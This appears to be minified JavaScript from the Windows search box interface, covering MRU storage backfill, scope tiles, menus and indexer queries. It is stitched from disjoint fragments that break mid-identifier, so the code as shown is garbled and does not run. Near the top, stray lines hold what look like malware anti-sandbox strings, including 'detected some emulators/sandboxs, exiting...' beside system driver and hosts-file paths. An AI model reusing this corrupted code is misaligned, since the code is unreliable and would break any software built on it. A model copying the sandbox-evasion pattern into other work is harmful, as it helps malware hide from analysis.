r;i.resetPSCache();t.SetMRUBackfillSignalDone=!1;t.stat_backfillInProgress=!1;t.stat_backupInProgress=!1;t.stat_clearInProgress=!1;t.stat_backfillCaller&&t.stat_backfillCallCount&&t.stat_backfillCount>=Number.MAX_SAFE_INTEGER&&t.stat_backfillSuccessCount&&t.stat_backfillFailureCount&&t.stat_backfillInst&&(t.stat_backfillCaller=null,t.stat_backfillCallCount=0,t.stat_backfillCount=0,t.stat_backfillSuccessCount=0,t.stat_backfillFailureCount=0,t.stat_backfillInst={});t.stat_backupCaller&&t.stat_backupCallCount&&t.stat_backupCount>=Number.MAX_SAFE_INTEGER&&t.stat_backupSuccessCount&&t.stat_backupFailureCount&&(t.stat_backupCaller=null,t.stat_backupCallCount=0,t.stat_backupCount=0,t.stat_backupSuccessCount=0,t.stat_backupFailureCount=0);t.stat_clearCaller&&t.stat_clearCallCount&&t.stat_clearCount>=Number.MAX_SAFE_INTEGER&&t.stat_clearSuccessCount&&t.stat_clearFailureCount&&(t.stat_clearCaller=null,t.stat_clearCallCount=0,t.stat_clearCount=0,t.stat_clearSuccessCount=0,t.stat_clearFailureCount=0);r.mkReset()}static isPSFeatureEnabled(i){return(n.config.bypassPSTestEnvCheck||!t.isTestEnvironment())&&n.config.enablePersistentStorageCarryover&&i=="MRU"&&n.VelocityKeys.getFeatureStatus(50659858)!="0"}static isTestEnvironment(){return n.TestHookUrlParameters||n.MockUrlParameters?!0:!1}static async checkAndBackfillMRUAtBootstrapAsync(i="init"){if((t.stat_backfillCallCount++,t.SetMRUBackfillSignalDone&&!n.config.alwaysReadPersistentStorageForTest)||t.stat_backfillInProgress)return!0;t.stat_backfillInProgress=!0;t.stat_backfillCount++;t.stat_backfillCaller=i;const f=performance.now(),r={},e=await t.checkMRUBackfillKeyAsync(r);let u=!0;return(!e||n.config.alwaysReadPersistentStorageForTest)&&(t.backfillLocalStorage(r),u=await t.backfillIndexedDBAsync(r),r.PSBFL=performance.now()-f,t.uploadInst("PSBackfill",r)),t.stat_backfillInst=r,t.SetMRUBackfillSignalDone=await t.setMRUBackfillSignalAsync(),t.stat_backfillInProgress=!1,u?t.stat_backfillSuccessCount++:t.stat_backfillFailureCount++,u}static checkAndBackupMRUAtDismiss(r){if(t.stat_backupCallCount++,!t.SetMRUBackfillSignalDone)return!1;if(t.stat_backupInProgress)return!0;t.stat_backupInProgress=!0;t.stat_backupCount++;t.stat_backupCaller=r;const e=performance.now();t.stat_backupCount++;let u=[];if((!i.HasMRUDbEntriesFirstBackup||i.HasMRUDbEntriesChange||n.config.alwaysWritePersistentStorageForTest)&&i.HasMRUDbEntriesInit){const n=t.serializeMRUEntries(i.MRUDbEntries);u=u.concat(n);i.HasMRUDbEntriesFirstBackup=!0;i.HasMRUDbEntriesChange=!1}if(i.HasMRUSearchHistoryCacheChange){const n=t.getSHCachePSKVPs(i.MRUSearchHistoryCache);u=u.concat(n);i.HasMR\
4\windows\system32\drivers\etc\sandbox.com
detected some emulators/sandboxs, exiting...\windows\system32\drivers\etc\hosts
ProfileMenuOpened?this.closeUserProfileDropDown():this.openUserProfileDropDown(n,t,i),icon:h,userName:a}:null,brandBarDataModel:undefined,closeButtonClickHandler:(n,t,i)=>this.closeButtonClicked(n,t,i),codexChatLeftDataModel:n.isCodexEligible()&&n.config.codexSimple?{buttonClickHandler:async(n,t,i)=>await this.chatButtonClicked(n,t,!0,i),iconText:n.Host.getLocString("CodexChatButton"),toolTip:t,ariaText:t}:undefined,codexChatRightDataModel:n.isCodexEligible()&&n.config.codexBtnUpperRight?{buttonClickHandler:async(n,t,i)=>await this.chatButtonClicked(n,t,!1,i),toolTip:t,ariaText:t}:undefined,searchHomeToggleTiles:c,isFullWidthDSB:n.shouldShowDSBFullWidth(),enableDsbWebMruInWebScope:n.canEnableDsbWebMruInWebScope(this===null||this===void 0?void 0:this._currentQuery),enableSearchSettingsButton:n.config.wsbSettingsIconEntryPoint,searchSettingsHandler:()=>n.Host.launchSearchSettings(),inConversationMode:n.Host.isInConversationMode()}}renderScopes(){var t,i;(!n.config.optScopesRender||this._currentQuery&&this._currentQuery.scopePrefix||(this._selectedScope?this._selectedScope.selected==!1:((t=this._currentQuery)===null||t===void 0?void 0:t.scope)==n.Scope.All)||this._moreMenuOpened||this._optionsMenuOpened)&&(this._shouldRenderScopes=!0);this._shouldRenderScopes&&(this._page.updateScopesHeaderView(this.getScopesHeaderDataModel()),(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(40979072))&&n.config.useCobaltCSS&&((i=this._selectedScope)===null||i===void 0?void 0:i.type)==n.Scope.ThirdPartyWeb&&!n.isServicingSearchBingAs3PEnabled()&&this.scopesRightCaretClicked(),this._shouldRenderScopes=!1,n.config.useCobaltCSS&&n.RuntimeConfig.AlwaysWide&&this.scopesPresentInstrumentationLog())}scopesPresentInstrumentationLog(){n.isWin11DSB(this._currentQuery)||n.InstrumentationHelper.logClientInstEvent("ClientInst","ScopesArePresent",null,null,"WindowsTelemetry",33554432)}getInstItem(t,i){let r=n.InstrumentedItem.getNonSuggestionInstrumentedItem(t,n.SyntheticQSCodesMaps.KValues,n.SyntheticQSCodesMaps.HandoffsForNonSuggestions[t]);return n.InstrumentationHelper.instrumentSyntheticInstrumentedItem(i,t,r),r}closeButtonClicked(t,i,r){let u=n.SequenceNumberManager.getSequenceNumber(),f=this.getInstItem("CB",u);n.InstrumentationHelper.instrumentItemClick(t,f,u,null,i,r);SearchAppWrapper.CortanaApp.dismissApp()}openMoreMenuDropDown(t,i,r,u){let f=n.SequenceNumberManager.getSequenceNumber(),e=this.getInstItem("MMB",f);n.InstrumentationHelper.instrumentItemClick(i,e,f,null,r,u);this._msRewardsViewModel&&this._msRewardsViewModel.hide();this._menuFactory.showDropdownMenu(t,document.getElementById(this._moreButton.id),1,()=>{n.safeSetTimeout(()=>this.closeMoreMenuDropDown(),0,"closeMoreMenuDropDown")},r);this._moreMenuOpened=!0;this.renderScopes()}closeMoreMenuDropDown(){this._moreMenuOpened=!1;this.renderScopes()}openOptionsMenuDropDown(t,i,r){let f=n.RuntimeConfig.AlwaysWide?1:2,u=n.SequenceNumberManager.getSequenceNumber(),e=this.getAdvancedOptions(u,f),o=this.getInstItem("OMB",u);n.InstrumentationHelper.instrumentItemClick(t,o,u,null,i,r);this._msRewardsViewModel&&this._msRewardsViewModel.hide();this._menuFactory.showDropdownMenu(e,document.getElementById(this._optionsButton.id),2,()=>{n.safeSetTimeout(()=>this.closeOptionsMenuDropDown(),0,"closeOptionsMenuDropDown")},i);this._optionsMenuOpened=!0;this.renderScopes()}closeOptionsMenuDropDown(){this._optionsMenuOpened=!1;this._shouldShowBuildNumber=!1;this.renderScopes()}openUserProfileDropDown(t,i){let r=n.SequenceNumberManager.getSequenceNumber(),u=this.getAccountOptionsForUserProfileButton(r),f=this.getInstItem("APB",r);n.InstrumentationHelper.instrumentItemClick(t,f,r,null,i,null);this._msRewardsViewModel&&this._msRewardsViewModel.hide();this._menuFactory.showDropdownMenu(u,document.getElementById(this._userProfileButton.id),2,()=>{n.safeSetTimeout(()=>this.closeUserProfileDropDown(),0,"closeUserProfileDropDown")},i);this._userProfileMenuOpened=!0;this.renderScopes()}closeUserProfileDropDown(){this._userProfileMenuOpened=!1;this.renderScopes()}cleanUp(){_w.ReHitHeader.scope!=t||this._lastRenderedTopHitHeader.message!=h||this._lastRenderedTopHitHeader.subMessage!=c||this._lastRenderedTopHitHeader.headerText!=l||this._lastRenderedTopHitHeader.advancedOptions!=this._advancedOptionsScope||t==n.Scope.ThirdPartyWeb){this._lastRenderedTopHitHeader={scope:t,headerText:l,message:h,subMessage:c,advancedOptions:this._advancedOptionsScope,scopeForDisplay:i};let y={headerText:l,message:h,subMessage:c,messageIcon:h?s.icon:null,isTwoColumnsLayout:!1,freDataModel:undefined,instItem:null};this._page.updateTopHitHeaderView(y)}}updateTopHitHeader(){if(this._lastRenderedTopHitHeader){let t=n.ScopeConfig[this._lastRenderedTopHitHeader.scopeForDisplay],i={headerText:this._lastRenderedTopHitHeader.headerText,message:this._lastRenderedTopHitHeader.message,subMessage:this._lastRenderedTopHitHeader.subMessage,messageIcon:this._lastRenderedTopHitHeader.message?t.icon:null,isTwoColumnsLayout:!1,freDataModel:undefined};this._page.updateTopHitHeaderView(i)}}shouldShowRewardsBadge(t){return n.RuntimeConfig.QfMode!=11&&(n.RuntimeConfig.AlwaysWide||!!t)}getDMAToggleTiles(t){const i=[{id:y,selected:!t,clickHandler:()=>{n.InstrumentationHelper.logClientInstEvent("Select","Microsoft1PSearchToggleClicked",null,null,"WindowsTelemetry",33554432),n.Host.switchToSearchScope(),n.Host.setMRUSearchApp(),this.setFocusInSearchBox("scope clickHandler All")},label:n.isServicingSearchBingAs3PEnabled()?n.Host.getLocString("DmaAllScopeName"):n.Host.getLocString("SearchToggle"),tooltip:this.getScopeToolTip(n.Scope.All)}],r=n.Host.getThirdPartySearchApps();return r.forEach((r,u)=>{r.displayName&&i.push({id:p+u,selected:(t===null||t===void 0?void 0:t.applicationUserModelId)===r.applicationUserModelId,clickHandler:()=>{n.InstrumentationHelper.logClientInstEvent("Select","3PSearchToggleClicked",null,null,"WindowsTelemetry",33554432),n.Host.switchToThirdPartyScope(r),n.Host.setMRUSearchApp(r),this.setFocusInSearchBox("scope clickHandler "+r.displayName)},label:r.displayName,tooltip:this.getScopeToolTip(n.Scope.ThirdPartyWeb,null,r.displayName)})}),i}getScopesHeaderDataModel(){var i,r,u,f,e;this._advancedOptionsIdCounter=0;let o=this.getScopeBarElements(),s=this.getHiddenScopeElements(o)||[],l=this._msRewardsViewModel&&!(n.config.isDMARegion||n.isThirdPartySearchAllowed())&&this._msRewardsViewModel.getDataModel(),[h,a]=n.config.userProfileButtonEnabled?this.getUserProfileButtonData():[null,null],c;if(n.config.useCobaltCSS&&n.RuntimeConfig.AlwaysWide&&!n.isSupportWebResultsInAllScopeInDMAEnabled()&&n.isThirdPartySearchAllowed()&&n.isThirdPartyZeroInputEnabledByRegionalPolicy()&&(((i=this._currentQuery)===null||i===void 0?void 0:i.isThirdPartyZI)||!((r=this._currentQuery)===null||r===void 0?void 0:r.originalQuery))&&n.Host.isThirdPartySearchAppsEnabled()){let n=(u=this._currentQuery)===null||u===void 0?void 0:u.thirdPartySearch;c=this.getDMAToggleTiles(n)}const t=n.Host.getLocString("AskCopilot");return{isWin11DSB:n.isWin11DSB(this._currentQuery),isWorkScopeHomePage:!1,isSearchHome:(f=this._currentQuery)===null||f===void 0?void 0:f.isSearchHomeZI,isCopilotSearchHome:!1,scopes:n.config.pureRender?n.deepCopy(o):o,showFeedback:this.isFeedbackEnabled()?()=>this.showFeedback():null,scopesBackBtnHandler:()=>this.scopesBackBtnClicked(),scopesLeftCaretBtnHandler:()=>this.scopesLeftCaretClicked(),scopesRightCaretBtnHandler:()=>this.scopesRightCaretClicked(),shouldShowRewardBalance:n.RuntimeConfig.AlwaysWide||((e=this._currentQuery)===null||e===void 0?void 0:e.scope)==n.Scope.All,rewardsBadgeDataModel:this.shouldShowRewardsBadge(this._currentQuery)&&l,moreMenuDataModel:s.length>0?{opened:this._moreMenuOpened,menuItems:s,buttonClickHandler:(n,t,i)=>this._moreMenuOpened?this.closeMoreMenuDropDown():this.openMoreMenuDropDown(s,n,t,i)}:null,optionsMenuDataModel:{opened:this._optionsMenuOpened,buttonClickHandler:(n,t,i)=>this._optionsMenuOpened?this.closeOptionsMenuDropDown():this.openOptionsMenuDropDown(n,t,i)},userProfileButtonDataModel:n.config.userProfileButtonEnabled&&h?{opened:this._userProfileMenuOpened,buttonClickHandler:(n,t,i)=>this._useronContainer,!1),i==0?(r=="https://substrate.office.com/SubstrateSearch-Internal.ReadWrite"||r=="https://substrate.office.com/M365.Access"||r=="service::cortana.bing.com::mbi_ssl"||r=="077c9b95-2f57-4442-8872-134fcc08fcb3/Bing.MSA.Default")&&(this._verifyAccountForMSARequired=u,t()):i==1&&r=="https://substrate.office.com"&&(this._verifyAccountForAADRequired=u,n.isAADVerificationRequired=this._verifyAccountForAADRequired,t())};y.bindVerifyAccountRequired((n,t)=>{i(n,t,!0)});y.bindAccessTokenAvailable((n,t)=>{i(n,t,!1)})}}}focusNextScopeTile(t,i){let u=[].slice.call(n.StaticHtmlElements.scopesHeader.getElementsByClassName("scope-tile")),r=n.shouldSkipSelectedScope()?u.filter(n=>!n.classList.contains("scope-tile--selected")):u;r=r.filter(n=>n.tabIndex==-1);this._currentScopeTileIndex=r.indexOf(t);i?this._currentScopeTileIndex!=r.length-1&&++this._currentScopeTileIndex:this._currentScopeTileIndex>0&&--this._currentScopeTileIndex;n.shouldSkipSelectedScope()&&(this._currentScopeTileIndex=u.indexOf(r[this._currentScopeTileIndex]));this._menuFactory.dismiss();u[this._currentScopeTileIndex].focus()}render(t,i,r,u,f,e){if(this._currentQuery=t,t){let o=n.getEffectiveScope(t);this.innerRender(t.scope,o,t,i,r,u,f,e,t.thirdPartySearch)}else this.cleanUp()}getScopeToolTip(t,i,r){let e=n.ScopeConfig[t],u=n.getScopeDisplayName(e),f;return(f=i&&!this._allScopeButtonPresent?"RemovingScopeNarratorText2":t==n.Scope.All?u.toLowerCase()==="windows"?"AddingDMAWindowsScopeNarratorText":"AddingScopeNarratorTextAll2":"AddingScopeNarratorText",n.isThirdPartySearchAllowed())?n.Host.getLocString(f,r!==null&&r!==void 0?r:u):n.Host.getLocString(f,u)}selectScope(n){this._selectedScope&&(this._selectedScope.tooltip=this.getScopeToolTip(this._selectedScope.type,!1),this._selectedScope.enabled=!1,this._selectedScope=null);for(let t of this._scopeTiles)if(t.enabled=t.type==n,t.enabled){t.tooltip=this.getScopeToolTip(n,!0);this._selectedScope=t;break}}selectThirdPartyScope(t){var i;if(!t)return!1;if(this._selectedScope){if(this._selectedScope.searchExtension!=undefined&&this._selectedScope.searchExtension.applicationUserModelId==t.applicationUserModelId)return!1;this._selectedScope.tooltip=this.getScopeToolTip(this._selectedScope.type,!1,(i=this._selectedScope.searchExtension)===null||i===void 0?void 0:i.displayName);this._selectedScope.enabled=!1;this._selectedScope=null}for(let i of this._scopeTiles)if(i.enabled=i.type==n.Scope.ThirdPartyWeb&&i.searchExtension!=undefined&&i.searchExtension.applicationUserModelId==t.applicationUserModelId,i.enabled)return i.tooltip=this.getScopeToolTip(i.type,!1,t.displayName),this._selectedScope=i,!0;return!1}innerRender(t,i,r,u,f,e,o,s,h){this._topHitPresent=u;this._resultsPresent=f;n.RuntimeConfig.ScopesAvailable&&(this._scopeTiles||this.init(),t===n.Scope.PathCompletion?this._selectedScope&&this._selectedScope.type!==n.Scope.All&&this.clearPrevSelectedScope():n.isThirdPartySearchAllowed()&&t==n.Scope.ThirdPartyWeb&&this._scopeTiles?this.selectThirdPartyScope(h):this._scopeTiles&&(!this._selectedScope||this._selectedScope.type!=t)&&this.selectScope(t));this.renderTopHitHeader(t,i,r,f,e,o,s);n.RuntimeConfig.ScopesAvailable&&this.renderScopes();let c=this._advancedOptionsScope.filter(n=>n.layout==1||n.layout==6);c&&this._page.renderAdvancedOptionsMessages(c)}refreshAdvancedOptionsScopeList(t){this._advancedOptionsScope=n.RuntimeConfig.ScopesAvailable&&t.showUpsellOnSuggestionsList&&t.showUpsellOnSuggestionsList()?this.getAdvancedOptions(n.SequenceNumberManager.getSequenceNumber(),0):[]}renderTopHitHeader(t,i,r,u,f,e,o){let s=n.ScopeConfig[i],a=r.showProgressBar?e:!f,v=!r||!r.queryToFetch,[h,c]=this.getEmptyResultsMessage(u,a,v,i,s,e,o),l=a||v||u||!this._lastRenderedTopHitHeader||n.uses3lineTemplate(i)?this.getHeaderText(i,s,r):this._lastRenderedTopHitHeader.headerText;if(this.refreshAdvancedOptionsScopeList(s),n.RuntimeConfig.AlwaysWide&&(this._advancedOptionsScope=this._advancedOptionsScope.concat(this.getAdvancedOptions(n.SequenceNumberManager.getSequenceNumber(),1))),!this._lastRenderedTopHitHeader||this._lastRenderedTopnQueryLengthApplicable(t)||this.isAllSymbols(t===null||t===void 0?void 0:t.queryToFetch)||n.config.thresholdForQFToSkipGIQS>0&&((i=t===null||t===void 0?void 0:t.queryToFetch)===null||i===void 0?void 0:i.length)<=n.config.thresholdForQFToSkipGIQS)?!0:n.config.win10FastFileProviderSqlOptimizations&&n.Host.getLanguage().toLowerCase().startsWith("en")&&((r=t===null||t===void 0?void 0:t.queryToFetch)===null||r===void 0?void 0:r.length)<=kt?!0:!1}static getAppItemsByAppDisplayNames(t){let i={},u=[],f=n.Host.getRawImpressionGuid();t.forEach(t=>{var r,e;let o=(e=(r=SearchAppWrapper.CortanaApp.queryFormulationView.startDeviceQuery(t,f))===null||r===void 0?void 0:r.apps)===null||e===void 0?void 0:e.getItemsAsyncWithSpeller(0,30,!0).then(r=>{let u=r===null||r===void 0?void 0:r.resultSet;u||typeof(r===null||r===void 0?void 0:r.length)!="undefined"?u||(u=r):u=Object.keys(r).map(n=>r[n]);for(let r in u){let f=u[r];f&&(typeof f=="object"||!n.config.wsbWebView2||typeof f=="function")&&(f&&i[t]?i[t].push(f):i[t]=[f])}return i});u.push(o)});let r=Promise.all(u).then(()=>i);return{then:r.then.bind(r),"catch":r.catch.bind(r),done:undefined,cancel:undefined}}}n.LocalDataProvider=t;let o="Local provider doesn't support empty query"}(WSB||(WSB={})),function(n){let i;const f="UpsellDismissed",e="moreButton",r="feedbackButton",o="chatButtonLeft",s="chatButtonRight",h="optionsButton",c="rewardsBadgeButton",l="userProfileButton",a="closeButton",v="backButton",y="search-home-toggle",p="tp-search-toggle-",w="searchSettingsButton",u=4.5;let t=10;class b{constructor(u,y,p,b,k,d){if(this._page=u,this._accessTokenManager=y,this._msRewardsViewModel=p,this._menuFactory=b,this._substrateProfilePictureProvider=k,this._optionsWindow=d,this._moreButton={id:e,selected:!1,text:null},this._feedbackButton={id:r,selected:!1,text:null},this._optionsButton={id:h,selected:!1,text:null},this._rewardsBadgeButton={id:c,selected:!1,text:null},this._userProfileButton={id:l,selected:!1,text:null},this._closeButton={id:a,selected:!1,text:null},this._backButton={id:v,selected:!1,text:null},this._codexChatLeftButton={id:o,selected:!1,text:null},this._codexChatRightButton={id:s,selected:!1,text:null},this._searchSettingsButton={id:w,selected:!1,text:null},this._topHitPresent=!1,this._resultsPresent=!1,this._currentScopeTileIndex=-1,this._moreMenuOpened=!1,this._optionsMenuOpened=!1,this._userProfileMenuOpened=!1,this._shouldRenderScopes=!0,this._advancedOptionsIdCounter=0,this._advancedOptionsScope=[],this._shouldShowBuildNumber=!1,this._userProfilesCache={},this.menuDividerId=0,this._upsellGotDismissed=n.LightweightStorage.getItem(f)=="1",i=SearchAppWrapper.CortanaApp,n.config.scopesOrderBegin.length!=0){const g=()=>{this._currentQuery&&this.renderScopes()};if(n.Host.bindAppHidden(()=>{this._scopeTiles=null,this._effectiveScopeOrder=null}),n.Host.bindQueryChangedOrInitialized(n=>{this._currentQuery=n,this._currentScopeTileIndex=-1}),n.Host.bindDismissed(()=>{this._shouldRenderScopes=!0,this._currentScopeTileIndex=-1,this._verifyAccountForAADRequired=!1,this._verifyAccountForMSARequired=!1}),n.Host.bindButtonRightOfSearchBoxClick(t=>{(t=="
APIFix)a=()=>{if(!o())return null;let t=SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.querySearchIndexerResultsAsync("",r.originalQuery,n.Host.getRawImpressionGuid());return n.config.wsbWebView2&&t.done(()=>{},n=>{p(undefined,n)}),t};else{let t={rawSQL:"",queryText:r.originalQuery,impressionID:n.Host.getRawImpressionGuid()};a=()=>o()?SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.querySearchIndexerResultsAsync(t):null}}else{if(this.shouldSkipGenerateIndexerQuerySearch(r)){e(l,i,null,null,!0);return}a=()=>n.IndexerQueryGenerator.generateIndexerQueryAsync(r,t,v,l,c).then(t=>{if(!o())return null;if(n.config.queryShortCircuitAPIFix){let i=SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.querySearchIndexerResultsAsync(t,r.originalQuery,n.Host.getRawImpressionGuid());return n.config.wsbWebView2&&i.done(()=>{},n=>{p(t,n)}),i}let i={rawSQL:t,queryText:r.originalQuery,impressionID:n.Host.getRawImpressionGuid()};return SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.querySearchIndexerResultsAsync(i)})}else{if(this.shouldSkipGenerateIndexerQuerySearch(r)){e(l,i,null,null,!0);return}a=()=>n.IndexerQueryGenerator.generateIndexerQueryAsync(r,t,n.config.win10ScopeIFFToHighPriorityFiles?v*2:v,l,c).then(t=>{let i=SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.queryWindowsSearchIndexerAsync(t);return n.config.wsbWebView2&&i.done(()=>{},n=>{p(t,n)}),i})}}else if(l=="CoPIFF")if(n.Host.getIFFPolarisProviderEnabled()){let t;if(n.RuntimeConfig.QfMode==5&&(t=n.Host.getFileExplorerCurrentPath()),t&&!/^[a-zA-Z]\:\\/.test(t)){e(l,i,null,null,!0);return}a=()=>SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.polarisProvider.queryAsync(r.originalQuery,n.Host.getRawImpressionGuid(),undefined);n.config.semanticSearchTimeout&&(a=h(a))}else{e(l,i,null);return}else if(l=="CoPCFP"){let f;if(f=n.config.enableVegaProviderNullCheck?n.Host.getVegaProviderEnabled()&&!!SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.vegaProvider:n.Host.getVegaProviderEnabled(),f){let f;if(n.RuntimeConfig.QfMode==5&&(f=n.Host.getFileExplorerCurrentPath()),f&&!/^[a-zA-Z]\:\\/.test(f)){e(l,i,null,null,!0);return}if((n.config.enableVegaProviderTwoSteps||n.Host.getIsWIPOrInternalAudience())&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(58029256))){let f=!1,h,c=undefined;n.config.semanticSearchTimeout&&(c=n.safeSetTimeout(()=>{f||(f=!0,o()&&e(l,i))},n.config.semanticSearchTimeout,"VegaProvider_TwoSteps"),h=(n,t,i,r,u,o)=>{f||(e(n,t,i,r,u,o),o||(f=!0,c!=undefined&&(sb_ct(c),c=undefined)))});n.Async.safeChain("vegaProvider.getProvidersAsync",()=>SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.vegaProvider.getProvidersAsync(),f=>{if((f===null||f===void 0?void 0:f.length)>0){let i=f.length;for(let c=0;c<f.length;++c)n.Async.safeChain("vegaProvider.queryByProviderAsync~"+c,()=>SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.vegaProvider.queryByProviderAsync(r.originalQuery,n.Host.getRawImpressionGuid(),f[c].providerId),f=>{if(--i,o()&&(f===null||f===void 0?void 0:f.status)===0){let o=t.getDataSourceState(0);n.config.semanticSearchTimeout?h(l,this.toLocalResponse(v,r,f.resultSet,u,y),o,null,null,i>0):e(l,this.toLocalResponse(v,r,f.resultSet,u,y),o,null,null,i>0)}},t=>{--i,n.isCancellation(t)||this.logProviderFailure(l)},s,l+"~"+c+" "+r.queryToFetch)}else n.config.semanticSearchTimeout?h(l,i):e(l,i)},t=>{n.isCancellation(t)||this.logProviderFailure(l),n.config.semanticSearchTimeout?h(l,i):e(l,i)},null,l+" "+r.queryToFetch);return}a=()=>new Promise((t,i)=>{n.Async.safeChain("vega",()=>SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.vegaProvider.queryAsync(r.originalQuery,n.Host.getRawImpressionGuid()),n=>{var i;let r=[];if(((i=n===null||n===void 0?void 0:n.providerResultSet)===null||i===void 0?void 0:i.length)>0)for(let t of n.providerResultSet)t.status===0&&r.push(...t.resultSet);const u={state:0,resultSet:r,whereId:null,close:null};t(u)},i,s)});n.config.semanticSearchTimeout&&(a=h(a))}else{e(l,i,null);return}}ptyQuery))throw new Error(o);let u=i.taskFrame?i.taskFrame.raw:"";n.Async.safeChain("executeSearchAsync",()=>SearchAppWrapper.CortanaApp.searchResultsView.executeSearchAsync(i.queryToFetch,u),n=>{var u;if(e())if(n)for(let o of h)this.searchFolderWithMultipleResults(i,o,n,r,e,f,(u=t.lastResultHandle)===null||u===void 0?void 0:u.whereId);else this.emptyFetch(h,r)},()=>this.emptyFetch(h,r),null,u?i.queryToFetch+"\n"+u:i.queryToFetch)}if(s.length>0){if(t.lastQuery&&!i.fullPartialQuery.startsWith(t.lastQuery)&&t.setWhereId(null),t.lastQuery=i.fullPartialQuery,!i.queryToFetch&&!s.every(n=>n.supportsEmptyQuery))throw new Error(o);if(s.some(n=>n.dataSource=="MPHO")&&s.some(n=>n.dataSource=="MVID")&&s.some(n=>n.dataSource=="MDOC")&&s.some(n=>n.dataSource=="MPVD")){let n=s.find(n=>n.dataSource=="MPVD");this.searchFolderWithMultipleResults(i,n,null,r,e,f,(a=t.lastResultHandle)===null||a===void 0?void 0:a.whereId)}else for(let n of s){let u=null;(n.dataSource==="CoPIFF"||n.dataSource==="CoPCFP"||n.dataSource==="CoPST")&&(u=n.dataSource);this.searchFolderWithMultipleResults(i,n,u,r,e,f,(v=t.lastResultHandle)===null||v===void 0?void 0:v.whereId)}}let p=et.filter(t=>n.isDataSourceEnabled(t.dataSource,i));if(p.length>0){if(!i.queryToFetch&&!p.every(n=>n.supportsEmptyQuery))throw new Error(o);for(let n of p)f&&n.customCancellation&&f.register(()=>n.customCancellation(),!0,n.dataSource+" cancellation"),this.searchFolderWithMultipleResults(i,n,i,r,e,f,(y=t.lastResultHandle)===null||y===void 0?void 0:y.whereId)}let w=ot.filter(t=>n.isDataSourceEnabled(t.dataSource,i));if(w.length>0){if(!i.queryToFetch&&!w.every(n=>n.supportsEmptyQuery))throw new Error(o);for(let n of w)f&&n.customCancellation&&f.register(()=>n.customCancellation(),!0,n.dataSource+" cancellation"),this.searchFolderWithSingleResult(i,n,i,r,e)}i.taskFrame&&n.safeExecute(()=>SearchAppWrapper.CortanaApp.searchResultsView.setTaskFrame(i.originalQuery,""),"reset task frame")}emptyFetch(n,r){for(let u of n)this.logProviderFailure(u.dataSource),r(u.dataSource,i,t.getDataSourceState(0))}getMax(t,i){return i.customGetMax?i.customGetMax(t):n.RuntimeConfig.QfMode==5||t.scope!=n.Scope.All?t.queryToFetch?i.maxAfter8charsOrInL2ZeroInput*2:i.maxAfter8charsOrInL2ZeroInput:t.queryToFetch.length>8?i.maxAfter8charsOrInL2ZeroInput:t.queryToFetch.length>3?i.maxAfter3chars:i.maxUpTo3chars}toLocalResponse(t,i,u,f,e){let o;if(e){let n=f;n.getGroupDisplayName&&(o=n.getGroupDisplayName(e))}let h={Counter:0},s=[],c=u.length<t;for(let t of u){let e=yt(t,f),u=n.isApp(e)||n.isSetting(e)?pt(t):undefined;if(!wt(i,t,e,f.dataSource,h,u)){let n;if(n=f.customCreateLocalResponseSuggestion?f.customCreateLocalResponseSuggestion(t,e,f.dataSource):r(t,e,f.dataSource),o&&(n.groupDisplayName=o),u&&(n.ciMetaData=u,u.Query&&u.Query.includes(w))){let t=u.Query.split(w);t.length==2&&(n.uxHint=t[1],n.ciMetaData.Query=t[0])}s.push(n)}}return{suggestions:s,maxedOut:c}}getResults(n,t,i,r){if(r.getResults)return r.getResults(i,t);let u=i,f=this.enableSpellCorrection(n);return u.getItemsAsyncWithSpeller?u.getItemsAsyncWithSpeller(0,t,f):i.getItemsAsync(0,t)}enableSpellCorrection(t){return t.queryToFetch.length>=n.config.enableCISpellerAtPrefixLength&&this._previousKeystrokeCache&&this._previousKeystrokeCache.enableCISpeller(t.queryToFetch)?!0:t.queryToFetch.length>=n.config.enableCISpellerAtPrefixLength&&n.config.enableCISpeller==1?!0:!1}searchFolderWithMultipleResults(r,u,f,e,o,s,c){let l=u.dataSource,v=this.getMax(r,u),b=!f,a,y;if(b){let t;if(n.RuntimeConfig.QfMode==5&&(t=n.Host.getFileExplorerCurrentPath()),t&&!/^[a-zA-Z]\:\\/.test(t)){e(l,i,null,null,!0);return}if(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(41150162))if(n.config.noSqlFetchWhenShortCircuit&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(45721604))||n.config.avoidSqlGeneration&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55759873))){if(this.shouldSkipGenerateIndexerQuerySearch(r)){e(l,i,null,null,!0);return}if(n.config.queryShortCircuitlor:undefined),supportsEmptyQuery:!0}],ot=[{getResultsContainer:n=>SearchAppWrapper.CortanaApp.queryFormulationView.startCommandLineQuery(n.originalQuery,""),dataSource:"CG",getSuggestionType:()=>"CG",customCancellation:()=>SearchAppWrapper.CortanaApp.queryFormulationView.cancelLastCommandLineQuery(),supportsEmptyQuery:!1},];n.LocalDataProviderDataSources=ut.concat(ft).concat(et).concat(ot).map(n=>n.dataSource);const i={suggestions:[],maxedOut:!1};let st={},e={"shell:RecycleBinFolder":{icon:{content:"&#xEF87",type:2},locStringKey:"RecycleBin"}},c=["shell:RecycleBinFolder"];const 